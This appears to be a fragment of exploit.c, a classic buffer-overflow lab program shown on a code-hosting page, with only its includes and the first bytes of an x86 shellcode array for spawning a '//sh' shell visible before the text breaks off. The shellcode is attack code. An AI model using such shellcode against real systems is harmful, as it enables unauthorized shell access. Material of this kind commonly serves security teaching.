This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* exploit.c */ | |
/* A program that creates a file containing code for launching shell*/ | |
#include <stdlib.h> | |
#include <stdio.h> | |
#include <string.h> | |
char shellcode[]= | |
"\x31\xc0" /* xorl %eax,%eax */ | |
"\x50" /* pushl %eax */ | |
"\x68""//sh" /* pushl $0x68732f2f */ |